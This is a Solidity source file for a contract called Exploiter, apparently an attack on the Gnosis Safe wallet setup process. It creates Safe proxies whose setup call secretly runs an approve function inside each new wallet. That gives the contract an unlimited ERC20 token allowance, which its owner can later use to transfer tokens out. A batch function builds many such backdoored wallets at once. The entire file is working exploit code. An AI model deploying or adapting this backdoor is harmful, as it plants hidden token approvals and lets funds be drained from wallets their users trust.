// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.5.3;
import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";
contract Exploiter {
Proxy proxy;
ProxyFactory proxyFactory;
address owner;
constructor(address _proxyFactory) public{
owner = msg.sender;
proxyFactory = ProxyFactory(_proxyFactory);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
address[] memory owners = new address[](1);
owners[0] = owner;
bytes memory callApprove = abi.encodeWithSignature(
"approve(address,address)",
_token,
address(this)
);
bytes memory data = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
callApprove,
address(0),
address(0),
0,
address(0)
);
// bytes memory data;
proxy = proxyFactory.createProxy(_masterCopy, data);
return address(proxy);
}
function approve(address _token, address _spender) public {
IERC20(_token).approve(_spender, uint256(-1));
}
function transfer(address _token, address _multisig, address _to, uint256 _amount) public onlyOwner {
IERC20(_token).transferFrom(_multisig, _to, _amount);
}
function createMultipleMultisig(address _masterCopy, address _token, uint256 _batchSize) public onlyOwner returns(address[] memory){
address[] memory list = new address[](_batchSize);
for(uint256 i = 0; i < _batchSize; i++){
address rs = createMultisig(_masterCopy, _token);
list[i] = rs;
}
return list;
}
}